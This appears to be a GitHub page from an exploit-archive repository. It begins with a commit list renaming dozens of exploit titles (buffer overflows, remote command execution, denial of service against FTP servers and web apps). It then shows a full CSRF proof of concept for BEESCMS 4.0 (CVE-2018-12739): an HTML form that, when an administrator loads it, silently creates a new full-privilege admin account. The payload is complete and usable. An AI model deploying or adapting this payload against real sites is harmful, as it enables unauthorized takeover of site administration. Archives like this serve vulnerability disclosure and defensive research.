fdf8bfe785
5 changes to exploits/shellcodes Microsoft Windows - WRITE_ANDX SMB command handling Kernel Denial of Service (Metasploit) Microsoft Windows - 'WRITE_ANDX' SMB Command Handling Kernel Denial of Service (Metasploit) freeSSHd 1.2.1 - (Authenticated) SFTP rename Remote Buffer Overflow (PoC) freeSSHd 1.2.1 - (Authenticated) SFTP 'rename' Remote Buffer Overflow (PoC) freeSSHd 1.2.1 - (Authenticated) SFTP realpath Remote Buffer Overflow (PoC) freeSSHd 1.2.1 - (Authenticated) SFTP 'realpath' Remote Buffer Overflow (PoC) Novell Groupwise 8.0 - Malformed RCPT Command Off-by-One Novell Groupwise 8.0 - 'RCPT' Off-by-One WarFTPd 1.82.00-RC12 - LIST command Format String Denial of Service WarFTPd 1.82.00-RC12 - 'LIST' Format String Denial of Service Sysax Multi Server < 5.25 (SFTP Module) - Multiple Commands Denial of Service Vulnerabilities Sysax Multi Server < 5.25 (SFTP Module) - Multiple Denial of Service Vulnerabilities Novell Groupwise Internet Agent - IMAP LIST Command Remote Code Execution Novell Groupwise Internet Agent - IMAP LIST LSUB Command Remote Code Execution Novell Groupwise Internet Agent - IMAP 'LIST' Remote Code Execution Novell Groupwise Internet Agent - IMAP 'LIST LSUB' Remote Code Execution Solar FTP Server 2.0 - Multiple Commands Denial of Service Vulnerabilities Solar FTP Server 2.0 - Multiple Denial of Service Vulnerabilities LiteServe 2.81 - PASV Command Denial of Service LiteServe 2.81 - 'PASV' Denial of Service Notepad++ NppFTP plugin - LIST command Remote Heap Overflow (PoC) Notepad++ NppFTP Plugin - 'LIST' Remote Heap Overflow (PoC) TYPSoft FTP Server 1.10 - Multiple Commands Denial of Service Vulnerabilities TYPSoft FTP Server 1.10 - Multiple Denial of Service Vulnerabilities WFTPD 2.4.1RC11 - STAT/LIST Command Denial of Service WFTPD 2.4.1RC11 - 'STAT'/'LIST' Denial of Service WFTPD 2.4.1RC11 - MLST Command Remote Denial of Service WFTPD 2.4.1RC11 - 'MLST' Remote Denial of Service Oracle 8i - dbsnmp Command Remote Denial of Service Oracle 8i - 'dbsnmp' Remote Denial of Service Mollensoft Software Enceladus Server Suite 3.9 - FTP Command Buffer Overflow Mollensoft Software Enceladus Server Suite 3.9 - 'FTP' Buffer Overflow GuildFTPd 0.999.8 - CWD Command Denial of Service GuildFTPd 0.999.8 - 'CWD' Denial of Service Xlight FTP Server 1.25/1.41 - PASS Command Remote Buffer Overflow Xlight FTP Server 1.25/1.41 - 'PASS' Remote Buffer Overflow RobotFTP Server 1.0/2.0 - Remote Command Denial of Service RobotFTP Server 1.0/2.0 - Remote Denial of Service RhinoSoft Serv-U FTPd Server 3/4/5 - MDTM Command Time Argument Buffer Overflow (1) RhinoSoft Serv-U FTPd Server 3/4/5 - MDTM Command Time Argument Buffer Overflow (2) RhinoSoft Serv-U FTPd Server 3/4/5 - MDTM Command Time Argument Buffer Overflow (3) RhinoSoft Serv-U FTPd Server 3/4/5 - 'MDTM' Time Argument Buffer Overflow (1) RhinoSoft Serv-U FTPd Server 3/4/5 - 'MDTM' Time Argument Buffer Overflow (2) RhinoSoft Serv-U FTPd Server 3/4/5 - 'MDTM' Time Argument Buffer Overflow (3) Opera Web Browser 7.54 - KDE KFMCLIENT Remote Command Execution Opera Web Browser 7.54 - 'KDE KFMCLIENT' Remote Command Execution MailEnable 1.x - SMTP HELO Command Remote Denial of Service MailEnable 1.x - SMTP 'HELO' Remote Denial of Service HP Printer FTP Print Server 2.4.5 - List Command Buffer Overflow HP Printer FTP Print Server 2.4.5 - 'LIST' Buffer Overflow HP JetDirect FTP Print Server - RERT Command Denial of Service HP JetDirect FTP Print Server - 'RERT' Denial of Service FSD 2.052/3.000 - servinterface.cc servinterface::sendmulticast Function PIcallsign Command Remote Overflow FSD 2.052/3.000 - 'servinterface.cc servinterface::sendmulticast' 'PIcallsign' Command Remote Overflow freeSSHd 1.2 - 'SSH2_MSG_NEWKEYS' Packet Remote Denial of Service freeSSHd 1.2 - 'SSH2_MSG_NEWKEYS' Remote Denial of Service Qbik WinGate 6.2.2 - LIST Command Remote Denial of Service Qbik WinGate 6.2.2 - 'LIST' Remote Denial of Service Quick 'n Easy FTP Server 3.9.1 - USER Command Remote Buffer Overflow Quick 'n Easy FTP Server 3.9.1 - 'USER' Remote Buffer Overflow Ability FTP Server 2.1.4 - 'afsmain.exe' USER Command Remote Denial of Service Ability FTP Server 2.1.4 - Admin Panel AUTHCODE Command Remote Denial of Service Ability FTP Server 2.1.4 - 'afsmain.exe' 'USER' Remote Denial of Service Ability FTP Server 2.1.4 - Admin Panel 'AUTHCODE' Remote Denial of Service Resolv+ (RESOLV_HOST_CONF) - Linux Library Command Execution Resolv+ 'RESOLV_HOST_CONF' - Linux Library Command Execution Platform Load Sharing Facility 4/5 - LSF_ENVDIR Local Command Execution Platform Load Sharing Facility 4/5 - 'LSF_ENVDIR' Local Command Execution Trend Micro Internet Security 2010 - 'UfPBCtrl.DLL' ActiveX Remote Command Exeuction Trend Micro Internet Security 2010 - 'UfPBCtrl.DLL' ActiveX Remote Command Execution Golden FTP Server 4.70 - PASS Command Buffer Overflow Golden FTP Server 4.70 - 'PASS' Buffer Overflow EasyFTP Server 1.7.0.11 - MKD Command Stack Buffer Overflow (Metasploit) EasyFTP Server 1.7.0.11 - 'MKD' Stack Buffer Overflow (Metasploit) Vermillion FTP Daemon - PORT Command Memory Corruption (Metasploit) Vermillion FTP Daemon - 'PORT' Memory Corruption (Metasploit) EasyFTP Server 1.7.0.11 - LIST Command Stack Buffer Overflow (Metasploit) EasyFTP Server 1.7.0.11 - 'LIST' Stack Buffer Overflow (Metasploit) EasyFTP Server 1.7.0.11 - CWD Command Stack Buffer Overflow (Metasploit) EasyFTP Server 1.7.0.11 - 'CWD' Stack Buffer Overflow (Metasploit) HP OpenView Network Node Manager (OV NNM) - connectedNodes.ovpl Remote Command Execution (Metasploit) HP OpenView Network Node Manager (OV NNM) - 'connectedNodes.ovp'l Remote Command Execution (Metasploit) Zabbix Agent - net.tcp.listen Command Injection (Metasploit) Zabbix Agent - 'net.tcp.listen' Command Injection (Metasploit) Actfax FTP Server 4.27 - USER Command Stack Buffer Overflow (Metasploit) Actfax FTP Server 4.27 - 'USER' Stack Buffer Overflow (Metasploit) HP-UX 10/11/ IRIX 3/4/5/6 / OpenSolaris build snv / Solaris 8/9/10 / SunOS 4.1 - rpc.ypupdated Command Execution (1) HP-UX 10/11/ IRIX 3/4/5/6 / OpenSolaris build snv / Solaris 8/9/10 / SunOS 4.1 - rpc.ypupdated Command Execution (2) HP-UX 10/11/ IRIX 3/4/5/6 / OpenSolaris build snv / Solaris 8/9/10 / SunOS 4.1 - 'rpc.ypupdated' Command Execution (1) HP-UX 10/11/ IRIX 3/4/5/6 / OpenSolaris build snv / Solaris 8/9/10 / SunOS 4.1 - 'rpc.ypupdated' Command Execution (2) Majordomo 1.89/1.90 - lists Command Execution Majordomo 1.89/1.90 - 'lists' Command Execution PALS Library System WebPALS 1.0 - pals-cgi Arbitrary Command Execution PALS Library System WebPALS 1.0 - 'pals-cgi' Arbitrary Command Execution SGI IRIX 6.x - rpc.xfsmd Remote Command Execution SGI IRIX 6.x - 'rpc.xfsmd' Remote Command Execution HP-UX FTPD 1.1.214.4 - REST Command Memory Disclosure HP-UX FTPD 1.1.214.4 - 'REST' Memory Disclosure Sami FTP Server 2.0.1 - LIST Command Buffer Overflow Sami FTP Server 2.0.1 - 'LIST' Buffer Overflow Sami FTP Server - LIST Command Buffer Overflow (Metasploit) Sami FTP Server - 'LIST' Buffer Overflow (Metasploit) PineApp Mail-SeCure - livelog.html Arbitrary Command Execution (Metasploit) PineApp Mail-SeCure - 'livelog.html' Arbitrary Command Execution (Metasploit) FSD 2.052/3.000 - sysuser.cc sysuser::exechelp Function HELP Command Remote Overflow FSD 2.052/3.000 - 'sysuser.cc sysuser::exechelp' 'HELP' Remote Overflow HP Data Protector - EXEC_BAR Remote Command Execution HP Data Protector - 'EXEC_BAR' Remote Command Execution IPtools 0.1.4 - Remote Command Server Buffer Overflow IPtools 0.1.4 - Remote Buffer Overflow TWiki 20030201 - search.pm Remote Command Execution TWiki 20030201 - 'search.pm' Remote Command Execution AWStats 6.0 < 6.2 - configdir Remote Command Execution (C) AWStats 6.0 < 6.2 - configdir Remote Command Execution (Perl) AWStats 6.0 < 6.2 - 'configdir' Remote Command Execution (C) AWStats 6.0 < 6.2 - 'configdir' Remote Command Execution (Perl) Guppy 4.5.9 - 'REMOTE_ADDR' Remote Commands Execution Guppy 4.5.9 - 'REMOTE_ADDR' Remote Command Execution SimpleBBS 1.1 - Remote Commands Execution SimpleBBS 1.1 - Remote Command Execution SimpleBBS 1.1 - Remote Commands Execution (C) SimpleBBS 1.1 - Remote Command Execution (C) Flatnuke 2.5.6 - Privilege Escalation / Remote Commands Execution Flatnuke 2.5.6 - Privilege Escalation / Remote Command Execution phpBB 2.0.17 - 'signature_bbcode_uid' Remote Command phpDocumentor 1.3.0 rc4 - Remote Commands Execution phpBB 2.0.17 - 'signature_bbcode_uid' Remot Command phpDocumentor 1.3.0 rc4 - Remote Command Execution CPGNuke Dragonfly 9.0.6.1 - Remote Commands Execution SPIP 1.8.2g - Remote Commands Execution CPGNuke Dragonfly 9.0.6.1 - Remote Command Execution SPIP 1.8.2g - Remote Command Execution DocMGR 0.54.2 - 'file_exists' Remote Commands Execution DocMGR 0.54.2 - 'file_exists' Remote Command Execution EnterpriseGS 1.0 rc4 - Remote Commands Execution FlySpray 0.9.7 - 'install-0.9.7.php' Remote Commands Execution EnterpriseGS 1.0 rc4 - Remote Command Execution FlySpray 0.9.7 - 'install-0.9.7.php' Remote Command Execution PHPKIT 1.6.1R2 - 'filecheck' Remote Commands Execution PHPKIT 1.6.1R2 - 'filecheck' Remote Command Execution Coppermine Photo Gallery 1.4.3 - Remote Commands Execution Coppermine Photo Gallery 1.4.3 - Remote Command Execution GeekLog 1.x - 'error.log' (gpc = Off) Remote Commands Execution GeekLog 1.x - 'error.log' Remote Command Execution PHP-Stats 0.1.9.1 - Remote Commands Execution PHP-Stats 0.1.9.1 - Remote Commans Execution Gallery 2.0.3 - stepOrder[] Remote Commands Execution Gallery 2.0.3 - 'stepOrder[]' Remote Command Execution phpList 2.10.2 - GLOBALS[] Remote Code Execution phpList 2.10.2 - 'GLOBALS[]' Remote Code Execution Simplog 0.9.2 - 's' Remote Commands Execution Simplog 0.9.2 - 's' Remote Command Execution phpWebSite 0.10.2 - 'hub_dir' Remote Commands Execution phpWebSite 0.10.2 - 'hub_dir' Remote Command Execution phpGroupWare 0.9.16.010 - GLOBALS[] Remote Code Execution phpGroupWare 0.9.16.010 - 'GLOBALS[]' Remote Code Execution GuppY 4.5.16 - Remote Commands Execution GuppY 4.5.16 - Remote Command Execution AWStats 6.1 < 6.2 - configdir Remote Command Execution (Metasploit) AWStats 6.1 < 6.2 - 'configdir' Remote Command Execution (Metasploit) Achievo 0.7/0.8/0.9 - Remote File Inclusion Command Execution Achievo 0.7/0.8/0.9 - Remote File Inclusion / Command Execution SiteInteractive Subscribe Me - Setup.pl Arbitrary Command Execution SiteInteractive Subscribe Me - 'Setup.pl' Arbitrary Command Execution BEESCMS 4.0 - Cross-Site Request Forgery (Add Admin) HongCMS 3.0.0 - SQL Injection hycus CMS 1.0.4 - Authentication Bypass DIGISOL DG-HR3400 Wireless Router - Cross-Site Scripting Cisco Adaptive Security Appliance - Path Traversal
31 lines
No EOL
1.4 KiB
HTML
31 lines
No EOL
1.4 KiB
HTML
# Exploit Title: A CSRF vulnerability exists in BEESCMS_V4.0: The administrator can be added arbitrarily.
|
|
# Date: 2018-06-25
|
|
# Exploit Author: bay0net
|
|
# Vendor Homepage: https://www.cnblogs.com/v1vvwv/p/9226389.html
|
|
# Software Link: http://www.beescms.com/
|
|
# Version: BEESCMS - V4.0
|
|
# CVE : CVE-2018-12739
|
|
|
|
A CSRF vulnerability exists in BEESCMS_V4.0: The administrator can be added arbitrarily.
|
|
|
|
The payload for attack is as follows.
|
|
|
|
<html>
|
|
<body>
|
|
<script>history.pushState('', '', '/')</script>
|
|
<form action="http://10.211.55.17/beescms/admin/admin_admin.php?nav=list_admin_user&admin_p_nav=user" method="POST" enctype="multipart/form-data">
|
|
<input type="hidden" name="admin_name" value="test1" />
|
|
<input type="hidden" name="admin_password" value="test1" />
|
|
<input type="hidden" name="admin_password2" value="test1" />
|
|
<input type="hidden" name="admin_nich" value="test1" />
|
|
<input type="hidden" name="purview" value="1" />
|
|
<input type="hidden" name="admin_admin" value="" />
|
|
<input type="hidden" name="admin_mail" value="" />
|
|
<input type="hidden" name="admin_tel" value="" />
|
|
<input type="hidden" name="is_disable" value="0" />
|
|
<input type="hidden" name="action" value="save_admin" />
|
|
<input type="hidden" name="submit" value="确定" />
|
|
<input type="submit" value="Submit request" />
|
|
</form>
|
|
</body>
|
|
</html> |